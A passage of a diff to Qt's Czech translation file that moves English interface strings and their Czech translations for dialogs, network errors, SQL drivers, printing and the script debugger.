3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
    +        A0
    +        A0
         
         
    -        
    -        Show Details...
    -        Ukázat podrobnosti...
    +        A1
    +        A1
         
         
    -        
    -        <h3>About Qt</h3><p>This program uses Qt version %1.</p>
    -        <h3>O Qt</h3><p>Tento program používá Qt-verze %1.</p>
    +        A2
    +        A2
         
         
    -        
    -        <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -        <p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
    +        A3
    +        A3
         
         
    -        
    -        About Qt
    -        O Qt
    +        A4
    +        A4
         
         
    -        <p>This program uses Qt Open Source Edition version %1.</p><p>Qt Open Source Edition is intended for the development of Open Source applications. You need a commercial Qt license for development of proprietary (closed source) applications.</p><p>Please see <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> for an overview of Qt licensing.</p>
    -        <p>Tento program používá Qt Open Source Edition verze %1.</p><p>Qt Open Source Edition je zamýšlena pro vývoj Open Source aplikací. Pro vývoj vlastnických aplikací (uzavřené zdrojové kódy) potřebujete Qt licenci.</p><p>Podívejte se, prosím, na <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> kvůli přehledu licencování Qt.</p>
    +        A5
    +        A5
         
         
    -        
    -        Hide Details...
    -        Skrýt podrobnosti...
    +        A6
    +        A6
         
         
    -        <p>This program uses Qt version %1.</p>
    -        <p>Tento program používá Qt-verze %1.</p>
    +        A7
    +        A7
         
    -
    -
    -    QMultiInputContext
         
    -        
    -        Select IM
    -        Zvolit způsob vstupu
    +        A8
    +        A8
         
    -
    -
    -    QMultiInputContextPlugin
         
    -        
    -        Multiple input method switcher that uses the context menu of the text widgets
    -        Přepínač pro více způsobů vstupu, který používá související nabídku textového prvku
    +        A9
    +        A9
         
         
    -        
    -        Multiple input method switcher
    -        Přepínač pro více způsobů vstupu
    +        B0
    +        B0
         
    -
    -
    -    QNativeSocketEngine
         
    -        
    -        The proxy type is invalid for this operation
    -        Tuto operaci nelze s tímto typem proxy provést
    +        B1
    +        B1
         
         
    -        
    -        Network operation timed out
    -        Časový limit pro síťovou operaci byl překročen
    +        B2
    +        B2
         
         
    -        
    -        The remote host closed the connection
    -        Vzdálený počítač uzavřel spojení
    +        B3
    +        B3
         
         
    -        
    -        Invalid socket descriptor
    -        Neplatný deskriptor zásuvky (socketu)
    +        B4
    +        B4
         
         
    -        
    -        Host unreachable
    -        Cílový počítač je nedosažitelný
    +        B5
    +        B5
         
         
    -        
    -        Protocol type not supported
    -        Protokol tohoto typu není podporován
    +        B6
    +        B6
         
         
    -        
    -        Datagram was too large to send
    -        Datagram byl pro odeslání příliš veliký
    +        B7
    +        B7
         
         
    -        
    -        Attempt to use IPv6 socket on a platform with no IPv6 support
    -        Vyzkoušelo se použít IPv6 zásuvku (socket) na systému bez podpory IPv6
    +        B8
    +        B8
         
         
    -        
    -        Unable to receive a message
    -        Zprávu se nepodařilo přijmout
    +        B9
    +        B9
         
         
    -        
    -        Permission denied
    -        Přístup odepřen
    +        OK
    +        OK
         
         
    -        
    -        Connection refused
    -        Spojení bylo odmítnuto
    +        B10
    +        B10
         
         
    -        
    -        Unable to write
    -        Nepodařilo se zapsat
    +        C5E
    +        C5E
         
         
    -        
    -        Another socket is already listening on the same port
    -        Na tomto portu již naslouchá jiná zásuvka (socket)
    +        DLE
    +        DLE
         
         
    -        
    -        Unable to send a message
    -        Nepodařilo se odeslat hlášení
    +        A6 (105 x 148 mm)
    +        A6 (105 x 148 mm)
         
         
    -        
    -        The bound address is already in use
    -        Uvedená adresa se už používá
    +        Legal (8.5 x 14 inches, 216 x 356 mm)
    +        Právní (8,5 x 14 palců, 216 x 356 mm)
         
         
    -        
    -        Connection timed out
    -        Časový limit pro spojení byl překročen
    +        Folio
    +        Folio
         
         
    -        
    -        Network error
    -        Síťová chyba
    +        Legal
    +        Právní
         
         
    -        
    -        Unsupported socket operation
    -        Nepodporovaná zásuvková operace (povel pro socket)
    +        Print all
    +        Tisknout vše
         
         
    -        
    -        Operation on non-socket
    -        Operaci lze použít pouze na jedné zásuvce (socketu)
    +        Print
    +        Tisk
         
         
    -        
    -        Unable to initialize broadcast socket
    -        Zásuvku pro vysílání (socket) se nepodařilo spustit
    +        &Options <<
    +        &Nastavení << 
         
         
    -        
    -        Unknown error
    -        Neznámá chyba
    +        &Options >>
    +        &Nastavení >>
         
         
    -        
    -        Unable to initialize non-blocking socket
    -        Neblokující zásuvku (socket) se nepodařilo spustit
    +        B6 (125 x 176 mm)
    +        B6 (125 x 176 mm)
         
         
    -        
    -        The address is protected
    -        Adresa je chráněna
    +        B8 (62 x 88 mm)
    +        B8 (62 x 88 mm)
         
         
    -        
    -        Network unreachable
    -        Síť je nedosažitelná
    +        A8 (52 x 74 mm)
    +        A8 (52 x 74 mm)
         
         
    -        
    -        The address is not available
    -        Adresa není dostupná
    +        B9 (44 x 62 mm)
    +        B9 (44 x 62 mm)
         
         
    -        
    -        Out of resources
    -        Nejsou dostupné žádné zdroje
    +        A9 (37 x 52 mm)
    +        A9 (37 x 52 mm)
         
    -
    -
    -    QNetworkAccessCacheBackend
         
    -        
    -        Error opening %1
    -        %1 se nepodařilo otevřít
    +        B0 (1000 x 1414 mm)
    +        B0 (1000 x 1414 mm)
         
    -
    -
    -    QNetworkAccessDebugPipeBackend
         
    -        
    -        Write error writing to %1: %2
    -        Při zápisu do souboru %1: %2 nastala chyba
    +        A5 (148 x 210 mm)
    +        A5 (148 x 210 mm)
         
    -
    -
    -    QNetworkAccessFileBackend
         
    -        
    -        Request for opening non-local file %1
    -        Požadavek na otevření souboru přes síť %1
    +        Tabloid (279 x 432 mm)
    +        Bulvární noviny/tisk (279 x 432 mm)
         
         
    -        
    -        Read error reading from %1: %2
    -        Při čtení ze souboru %1 nastala chyba: %2
    +        B10 (31 x 44 mm)
    +        B10 (31 x 44 mm)
         
         
    -        
    -        Cannot open %1: Path is a directory
    -        %1 nelze otevřít: Jedná se o adresář
    +        B2 (500 x 707 mm)
    +        B2 (500 x 707 mm)
         
         
    -        
    -        Error opening %1: %2
    -        %1 se nepodařilo otevřít: %2
    +        &Print
    +        &Tisk
         
         
    -        
    -        Write error writing to %1: %2
    -        Při zápisu do souboru %1: %2 nastala chyba
    +        A3 (297 x 420 mm)
    +        A3 (297 x 420 mm)
         
    -
    -
    -    QNetworkAccessFtpBackend
         
    -        
    -        No suitable proxy found
    -        Nepodařilo se najít žádný vhodný proxy server
    +        Print selection
    +        Tisk výběru
         
         
    -        
    -        Error while downloading %1: %2
    -        Při stahování %1 se vyskytla chyba: %2
    +        Print to File (Postscript)
    +        Tisk do souboru (Postscript)
         
         
    -        
    -        Error while uploading %1: %2
    -        Při nahrávání %1 se vyskytla chyba: %2
    +        B4 (250 x 353 mm)
    +        B4 (250 x 353 mm)
         
         
    -        
    -        Cannot open %1: is a directory
    -        %1 nelze otevřít: Jedná se o adresář
    +        %1 already exists.
    +Do you want to overwrite it?
    +        Soubor %1 již existuje.
    +Má se přepsat?
         
         
    -        
    -        Logging in to %1 failed: authentication required
    -        Přihlášení do %1 se nezdařilo: Je požadována autentizace
    +        A1 (594 x 841 mm)
    +        A1 (594 x 841 mm)
         
    -
    -
    -    QNetworkAccessHttpBackend
         
    -        
    -        No suitable proxy found
    -        Nepodařilo se najít žádný vhodný proxy server
    +        Custom
    +        Stanovený uživatelem
         
    -
    -
    -    QNetworkReply
         
    -        
    -        Error downloading %1 - server replied: %2
    -        Beim Herunterladen von %1 trat ein Fehler auf - Die Antwort des Servers ist: %2
    +        B1 (707 x 1000 mm)
    +        B1 (707 x 1000 mm)
         
         
    -        
    -        Protocol "%1" is unknown
    -        Protokol "%1" není znám
    +        Folio (210 x 330 mm)
    +        Folio (210 x 330 mm)
         
    -
    -
    -    QNetworkReplyImpl
         
    -        
    -        
    -        Operation canceled
    -        Operace byla zrušena
    +        Ledger
    +        Hlavní (účetní) kniha
         
    -
    -
    -    QOCIDriver
         
    -        
    -        Unable to commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        Letter
    +        Dopis
         
         
    -        Unable to initialize
    -        Inicializace se nezdařila
    +        DLE (110 x 220 mm)
    +        DLE (110 x 220 mm)
         
         
    -        
    -        Unable to logon
    -        Přihlášení se nezdařilo
    +        C5E (163 x 229 mm)
    +        C5E (163 x 229 mm)
         
         
    -        
    -        Unable to rollback transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        B5 (176 x 250 mm, 6.93 x 9.84 inches)
    +        B5 (176 x 250 mm, 6.93 x 9.84 palců
         
         
    -        
    -        Unable to begin transaction
    -        Transakci se nepodařilo spustit
    +        Print range
    +        Tisková oblast
         
         
    -        
    -        Unable to initialize
    -        QOCIDriver
    -        Spuštění se nezdařilo
    +        Print current page
    +        Vytisknout tuto stranu
         
    -
    -
    -    QOCIResult
         
    -        
    -        Unable to alloc statement
    -        Přidělení příkazu se nepodařilo
    +        File exists
    +        Soubor již existuje
         
         
    -        
    -        Unable to goto next
    -        Nelze jít k dalšímu prvku
    +        Write %1 file
    +        Zapsat %1 soubor
         
         
    -        
    -        Unable to get statement type
    -        Nepodařilo se získat typ příkazu
    +        A0 (841 x 1189 mm)
    +        A0 (841 x 1189 mm)
         
         
    -        
    -        Unable to execute statement
    -        Příkaz se nepodařilo provést
    +        Local file
    +        Místní soubor
         
         
    -        
    -        
    -        
    -        Unable to bind column for batch execute
    -        Nepodařilo se spojit sloupec pro provedení příkazu dávkového zpracování
    +        locally connected
    +        přímo spojeno
         
         
    -        Unable to execute select statement
    -        Výběrové vyhledávání se nepodařilo provést
    +        Ledger (432 x 279 mm)
    +        Hlavní (účetní) kniha (432 x 279 mm)
         
         
    -        
    -        Unable to prepare statement
    -        Příkaz se nepodařilo připravit
    +        Aliases: %1
    +        Přezdívka: %1
         
         
    -        
    -        Unable to execute batch statement
    -        Příkaz pro dávkové zpracování se nepodařilo provést
    +        Print to File (PDF)
    +        Tisk do souboru (PDF)
         
         
    -        
    -        Unable to bind value
    -        Hodnotu se nepodařilo spojit
    +        Print To File ...
    +        Tisk do souboru...
         
    -
    -
    -    QODBCDriver
         
    -        
    -        Unable to commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        US Common #10 Envelope (105 x 241 mm)
    +        US běžná #10 obálka (105 x 241 mm)
         
         
    -        
    -        Unable to enable autocommit
    -        'autocommit' se nepodařilo povolit
    +        Tabloid
    +        Bulvární noviny
         
         
    -        Unable to connect - Driver doesn't support all needed functionality
    -        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
    +        A4 (210 x 297 mm, 8.26 x 11.7 inches)
    +        A4 (210 x 297 mm, 8.26 x 11.7 palců)
         
         
    -        
    -        Unable to disable autocommit
    -        'autocommit', automatické odeslání, se nepodařilo zastavit
    +        Executive
    +        Prováděcí
         
         
    -        
    -        Unable to connect
    -        Nepodařilo se navázat spojení
    +        unknown
    +        Neznámý
         
         
    -        
    -        Unable to connect - Driver doesn't support all functionality required
    -        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
    +        <qt>Do you want to overwrite it?</qt>
    +        <qt>Chcete jej přepsat?</qt>
         
         
    -        
    -        Unable to rollback transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        Executive (7.5 x 10 inches, 191 x 254 mm)
    +        Prováděcí (7,5 x 10 palců, 191 x 254 mm)
         
    -
    -
    -    QODBCResult
         
    -        
    -        Unable to bind variable
    -        Proměnnou se nepodařilo provést
    +        Letter (8.5 x 11 inches, 216 x 279 mm)
    +        Dopis (8,5 x 11 palců, 216 x 279 mm)
         
         
    -        
    -        
    -        Unable to execute statement
    -        Příkaz se nepodařilo provést
    +        The 'From' value cannot be greater than the 'To' value.
    +        Údaj pro první stranu nesmí být větší než údaj pro poslední stranu.
         
         
    -        
    -        Unable to fetch next
    -        Další datový záznam se nepodařilo natáhnout
    +        US Common #10 Envelope
    +        US běžná #10 obálka
         
         
    -        
    -        
    -        
    -        Unable to fetch last
    -        Poslední datový záznam se nepodařilo natáhnout
    +        %1 is a directory.
    +Please choose a different file name.
    +        %1 je adresář.
    +Zvolte, prosím, pro soubor jiný název.
         
         
    -        
    -        Unable to prepare statement
    -        Příkaz se nepodařilo spustit
    +        File %1 is not writable.
    +Please choose a different file name.
    +        Soubor %1 je chráněn proti zápisu.
    +Zvolte, prosím, pro soubor jiný název.
         
         
    -        
    -        Unable to fetch previous
    -        Předchozí datový záznam se nepodařilo natáhnout
    +        B3 (353 x 500 mm)
    +        B3 (353 x 500 mm)
         
         
    -        
    -        Unable to fetch
    -        Nepodařilo se natáhnout žádná data
    +        A7 (74 x 105 mm)
    +        A7 (74 x 105 mm)
         
         
    -        
    -        
    -        QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    -        QODBCResult::reset: 'SQL_CURSOR_STATIC' se nepodařilo nastavit jako příkaz vlastnosti . Ověřte, prosím, nastavení svého ODBC ovladače
    +        A2 (420 x 594 mm)
    +        A2 (420 x 594 mm)
         
         
    -        
    -        Unable to fetch first
    -        První datový záznam se nepodařilo natáhnout
    +        B7 (88 x 125 mm)
    +        B7 (88 x 125 mm)
         
     
     
    -    QObject
    +    QPrintPreviewDialog
         
    -        
    -        Invalid hostname
    -        Neplatný název pro hostitelský počítač
    +        %1%
    +        %1%
         
         
    -        Home
    -        Home
    +        Print Preview
    +        Náhled tisku
         
         
    -        Protocol error: packet of size 0 received
    -        Chyba v zápisu: Byl přijat paket o nulové velikosti
    +        Close
    +        Zavřít
         
         
    -        
    -        Invalid URI: %1
    -        Neplátná URI: %1
    +        Print
    +        Tisk
         
         
    -        
    -        Socket error on %1: %2
    -        Chyba zásuvky (socketu) u %1: %2
    +        Fit page
    +        Přizpůsobit stranu
         
         
    -        
    -        
    -        No host name given
    -        Nebyl zadán název pro hostitelský počítač
    +        Zoom in
    +        Zvětšit
         
         
    -        Read error reading from %1: %2
    -        Při čtení ze souboru %1 nastala chyba: %2
    +        Landscape
    +        Formát na šířku
         
         
    -        
    -        Remote host closed the connection prematurely on %1
    -        Vzdálený počítač předčasně ukončil spojení s %1
    +        Zoom out
    +        Zmenšit
         
         
    -        
    -        Operation not supported on %1
    -        Tato operace není %1 podporována
    +        Fit width
    +        Přizpůsobit šířku
         
         
    -        Write error writing to %1: %2
    -        Při zápisu do souboru %1: %2 nastala chyba
    +        Portrait
    +        Formát na výšku
         
    -
    -
    -    QPPDOptionsModel
         
    -        
    -        Name
    -        Název
    +        Page Setup
    +        Nastavení strany
         
         
    -        
    -        Value
    -        Hodnota
    +        Page setup
    +        Nastavení strany
    +    
    +    
    +        Show overview of all pages
    +        Ukázat přehled všech stran
         
    -
    -
    -    QPSQLDriver
         
    -        
    -        Unable to subscribe
    -        Registrace se nezdařila
    +        First page
    +        První strana
         
         
    -        
    -        Could not begin transaction
    -        Transakci se nepodařilo spustit
    +        Last page
    +        Poslední strana
         
         
    -        
    -        Could not rollback transaction
    -        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
    +        Show single page
    +        Ukázat jednotlivé strany
         
         
    -        
    -        Could not commit transaction
    -        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
    +        Export to PDF
    +        Vyvést do PDF
         
         
    -        
    -        Unable to connect
    -        Nepodařilo se navázat spojení
    +        Previous page
    +        Předchozí strana
         
         
    -        
    -        Unable to unsubscribe
    -        Registraci se nepodařilo zrušit
    +        Next page
    +        Další strana
         
    -
    -
    -    QPSQLResult
         
    -        
    -        Unable to prepare statement
    -        Příkaz se nepodařilo připravit
    +        Show facing pages
    +        Ukázat strany ležící naproti
         
         
    -        
    -        Unable to create query
    -        Nepodařilo se vytvořit žádný dotaz
    +        Export to PostScript
    +        Vyvést do PostScriptu
         
     
     
    -    QPageSetupWidget
    +    QPrintPropertiesWidget
         
    -        
             Form
             Formulář
         
         
    -        
    -        bottom margin
    -        Dolní okraj
    -    
    -    
    -        
    -        Paper
    -        Papír
    +        Page
    +        Strana
         
         
    -        
    -        Paper source:
    -        Zdroj papíru:
    +        Advanced
    +        Rozšířené
         
    +
    +
    +    QPrintSettingsOutput
         
    -        
    -        Centimeters (cm)
    -        Centimetry (cm)
    +        to
    +        do
         
         
    -        
    -        right margin
    -        Pravý okraj
    +        Form
    +        Formulář
         
         
    -        
    -        Margins
    -        Okraje
    +        None
    +        Žádný
         
         
    -        
    -        Landscape
    -        Formát na šířku
    +        Color
    +        Barva
         
         
    -        
    -        Width:
    -        Šířka:
    +        Print all
    +        Tisknout vše
         
         
    -        
    -        Orientation
    -        Zaměření
    +        Selection
    +        Výběr
         
         
    -        
    -        Portrait
    -        Formát na výšku
    +        Long side
    +        Dlouhá strana
         
         
    -        
    -        top margin
    -        Horní okraj
    +        Copies
    +        Počet exemplářů
         
         
    -        
    -        left margin
    -        Levý okraj
    +        Print range
    +        Tisk oblasti
         
         
    -        
    -        Page size:
    -        Velikost stran:
    +        Color Mode
    +        Barevný režim
         
         
    -        
    -        Reverse portrait
    -        Obrácený formát na výšku
    +        Options
    +        Volby
         
         
    -        
    -        Millimeters (mm)
    -        Milimetry (mm)
    +        Output Settings
    +        Nastavení výstupu
         
         
    -        
    -        Points (pt)
    -        Body (pt)
    +        Reverse
    +        Obrácený
         
         
    -        
    -        Inches (in)
    -        Palce (in)
    +        Grayscale
    +        Odstíny šedi
         
         
    -        
    -        Reverse landscape
    -        Obrácený formát na šířku
    +        Short side
    +        Krátká strana
         
         
    -        
    -        Height:
    -        Výška:
    +        Collate
    +        Srovnat
         
    -
    -
    -    QPluginLoader
         
    -        
    -        The plugin was not loaded.
    -        Přídavný modul nebyl nahrán.
    +        Copies:
    +        Počet exemplářů:
         
         
    -        
    -        Unknown error
    -        Neznámá chyba
    +        Pages from
    +        Strany od
         
    -
    -
    -    QPrintDialog
         
    -        
    -        A0
    -        A0
    +        Duplex Printing
    +        Zdvojený tisk
         
         
    -        
    -        A1
    -        A1
    +        Current Page
    +        Nynější strana
         
    +
    +
    +    QPrintWidget
         
    -        
    -        A2
    -        A2
    +        ...
    +        ...
         
         
    -        
    -        A3
    -        A3
    +        Form
    +        Formulář
         
         
    -        
    -        A4
    -        A4
    +        Type:
    +        Typ:
         
         
    -        
    -        A5
    -        A5
    +        &Name:
    +        &Název:
         
         
    -        
    -        A6
    -        A6
    +        Output &file:
    +        Výstupní &soubor:
         
         
    -        
    -        A7
    -        A7
    +        P&roperties
    +        &Vlastnosti
         
         
    -        
    -        A8
    -        A8
    +        Preview
    +        Náhled
         
         
    -        
    -        A9
    -        A9
    +        Printer
    +        Tiskárna
         
         
    -        
    -        B0
    -        B0
    +        Location:
    +        Umístění:
         
    +
    +
    +    QProcess
         
    -        
    -        B1
    -        B1
    +        Error writing to process
    +        Zápis do procesu se nezdařil
         
         
    -        
    -        B2
    -        B2
    +        No program defined
    +        Nestanoven žádný program
         
         
    -        
    -        B3
    -        B3
    +        Resource error (fork failure): %1
    +        Potíže se zdroji (selhání rozcestí - "fork failure"): %1
         
         
    -        
    -        B4
    -        B4
    +        Error reading from process
    +        Čtení z procesu se nezdařilo
         
         
    -        
    -        B5
    -        B5
    +        Process failed to start
    +        Spuštění procesu se nezdařilo
         
         
    -        
    -        B6
    -        B6
    +        Could not open input redirection for reading
    +        Vstupní přesměrování se nepodařilo otevřít pro čtení
         
         
    -        
    -        B7
    -        B7
    +        Could not open output redirection for writing
    +        Výstupní přesměrování se nepodařilo otevřít pro zápis
         
         
    -        
    -        B8
    -        B8
    +        Process operation timed out
    +        Překročení času u procesu
         
         
    -        
    -        B9
    -        B9
    +        Process crashed
    +        Proces spadl
         
         
    -        
    -        OK
    -        OK
    +        Process failed to start: %1
    +        Proces se nepodařilo spustit: %1
         
    +
    +
    +    QProgressDialog
         
    -        
    -        B10
    -        B10
    +        Cancel
    +        Zrušit
         
    +
    +
    +    QPushButton
         
    -        
    -        C5E
    -        C5E
    +        Open
    +        Otevřít
         
    +
    +
    +    QRadioButton
         
    -        
    -        DLE
    -        DLE
    +        Check
    +        Označit křížkem
         
    +
    +
    +    QRegExp
         
    -        
    -        A6 (105 x 148 mm)
    -        A6 (105 x 148 mm)
    +        bad lookahead syntax
    +        nesprávná syntax pro plánování dopředu
         
         
    -        
    -        Legal (8.5 x 14 inches, 216 x 356 mm)
    -        Právní (8,5 x 14 palců, 216 x 356 mm)
    +        no error occurred
    +        žádná chyba
         
         
    -        
    -        Folio
    -        Folio
    +        missing left delim
    +        chybějící levé vymezení
         
         
    -        
    -        Legal
    -        Právní
    +        bad char class syntax
    +        nesprávná syntax pro třídu znaku
         
         
    -        
    -        Print all
    -        Tisknout vše
    +        disabled feature used
    +        byla použita zakázaná vlastnost
         
         
    -        
    -        
    -        
    -        Print
    -        Tisk
    +        invalid octal value
    +        neplatná osmičková hodnota
         
         
    -        
    -        &Options <<
    -        &Nastavení << 
    +        invalid interval
    +        neplatný interval
         
         
    -        
    -        
    -        &Options >>
    -        &Nastavení >>
    +        invalid category
    +        neplatná skupina
         
         
    -        
    -        B6 (125 x 176 mm)
    -        B6 (125 x 176 mm)
    +        bad repetition syntax
    +        nesprávná syntax pro opakování
         
         
    -        
    -        B8 (62 x 88 mm)
    -        B8 (62 x 88 mm)
    +        met internal limit
    +        dosažena vnitřní mez
         
         
    -        
    -        A8 (52 x 74 mm)
    -        A8 (52 x 74 mm)
    +        unexpected end
    +        neočekávaný konec
         
    +
    +
    +    QSQLite2Driver
         
    -        
    -        B9 (44 x 62 mm)
    -        B9 (44 x 62 mm)
    +        Unable to commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
         
         
    -        
    -        A9 (37 x 52 mm)
    -        A9 (37 x 52 mm)
    +        Error to open database
    +        Nepodařilo se otevřít spojení s datatabází
         
         
    -        
    -        B0 (1000 x 1414 mm)
    -        B0 (1000 x 1414 mm)
    +        Unable to rollback Transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
         
         
    -        
    -        A5 (148 x 210 mm)
    -        A5 (148 x 210 mm)
    +        Unable to begin transaction
    +        Transakci se nepodařilo spustit
         
         
    -        
    -        Tabloid (279 x 432 mm)
    -        Bulvární noviny/tisk (279 x 432 mm)
    +        Error opening database
    +        Nepodařilo se otevřít spojení s databází
         
         
    -        
    -        B10 (31 x 44 mm)
    -        B10 (31 x 44 mm)
    +        Unable to rollback transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
         
    +
    +
    +    QSQLite2Result
         
    -        
    -        B2 (500 x 707 mm)
    -        B2 (500 x 707 mm)
    +        Unable to execute statement
    +        Příkaz se nepodařilo provést
         
         
    -        
    -        &Print
    -        &Tisk
    +        Unable to fetch results
    +        Výsledek se nepodařilo natáhnout
         
    +
    +
    +    QSQLiteDriver
         
    -        
    -        A3 (297 x 420 mm)
    -        A3 (297 x 420 mm)
    +        Unable to commit transaction
    +        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
         
         
    -        
    -        Print selection
    -        Tisk výběru
    +        Error closing database
    +        Nepodařilo se uzavřít spojení s datatabází
         
         
    -        
    -        Print to File (Postscript)
    -        Tisk do souboru (Postscript)
    +        Error opening database
    +        Nepodařilo se otevřít spojení s databází
         
         
    -        
    -        B4 (250 x 353 mm)
    -        B4 (250 x 353 mm)
    +        Unable to rollback transaction
    +        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
         
         
    -        
    -        %1 already exists.
    -Do you want to overwrite it?
    -        Soubor %1 již existuje.
    -Má se přepsat?
    +        Unable to begin transaction
    +        Transakci se nepodařilo spustit
         
    +
    +
    +    QSQLiteResult
         
    -        
    -        A1 (594 x 841 mm)
    -        A1 (594 x 841 mm)
    +        Unable to fetch row
    +        Řádek se nepodařilo natáhnout
         
         
    -        
    -        Custom
    -        Stanovený uživatelem
    +        No query
    +        Žádný požadavek
         
         
    -        
    -        B1 (707 x 1000 mm)
    -        B1 (707 x 1000 mm)
    +        Unable to execute statement
    +        Příkaz se nepodařilo provést
         
         
    -        
    -        Folio (210 x 330 mm)
    -        Folio (210 x 330 mm)
    +        Unable to bind parameters
    +        Parametry se nepodařilo spojit
         
         
    -        
    -        Ledger
    -        Hlavní (účetní) kniha
    +        Unable to reset statement
    +        Příkaz se nepodařilo znovu nastavit
         
         
    -        
    -        Letter
    -        Dopis
    +        Parameter count mismatch
    +        Počet parametrů není správný
         
    +
    +
    +    QScriptBreakpointsModel
         
    -        
    -        DLE (110 x 220 mm)
    -        DLE (110 x 220 mm)
    +        ID
    +        ID
         
         
    -        
    -        C5E (163 x 229 mm)
    -        C5E (163 x 229 mm)
    +        Location
    +        Umístění
         
         
    -        
    -        B5 (176 x 250 mm, 6.93 x 9.84 inches)
    -        B5 (176 x 250 mm, 6.93 x 9.84 palců
    +        Condition
    +        Podmínka
         
         
    -        
    -        Print range
    -        Tisková oblast
    +        Ignore-count
    +        Spustit po
         
         
    -        
    -        File exists
    -        Soubor již existuje
    +        Single-shot
    +        Spustit jednou
         
         
    -        
    -        Write %1 file
    -        Zapsat %1 soubor
    +        Hit-count
    +        Spuštěný
         
    +
    +
    +    QScriptBreakpointsWidget
         
    -        
    -        A0 (841 x 1189 mm)
    -        A0 (841 x 1189 mm)
    +        New
    +        Nový
         
         
    -        
    -        Local file
    -        Místní soubor
    +        Delete
    +        Smazat
         
    +
    +
    +    QScriptDebugger
         
    -        
    -        locally connected
    -        přímo spojeno
    +        Go to Line
    +        Jít na řádek
         
         
    -        
    -        Ledger (432 x 279 mm)
    -        Hlavní (účetní) kniha (432 x 279 mm)
    +        Line:
    +        Řádek:
         
         
    -        
    -        
    -        Aliases: %1
    -        Přezdívka: %1
    +        Interrupt
    +        Přerušit
         
         
    -        
    -        Print to File (PDF)
    -        Tisk do souboru (PDF)
    +        Shift+F5
    +        Shift+F5
         
         
    -        
    -        Print To File ...
    -        Tisk do souboru...
    +        Continue
    +        Pokračovat
         
         
    -        
    -        US Common #10 Envelope (105 x 241 mm)
    -        US běžná #10 obálka (105 x 241 mm)
    +        F5
    +        F5
         
         
    -        
    -        Tabloid
    -        Bulvární noviny
    +        Step Into
    +        Krok do
         
         
    -        
    -        A4 (210 x 297 mm, 8.26 x 11.7 inches)
    -        A4 (210 x 297 mm, 8.26 x 11.7 palců)
    +        F11
    +        F11
         
         
    -        
    -        Executive
    -        Prováděcí
    +        Step Over
    +        Krok přes
         
         
    -        
    -        
    -        unknown
    -        Neznámý
    +        F10
    +        F10
         
         
    -        
    -        <qt>Do you want to overwrite it?</qt>
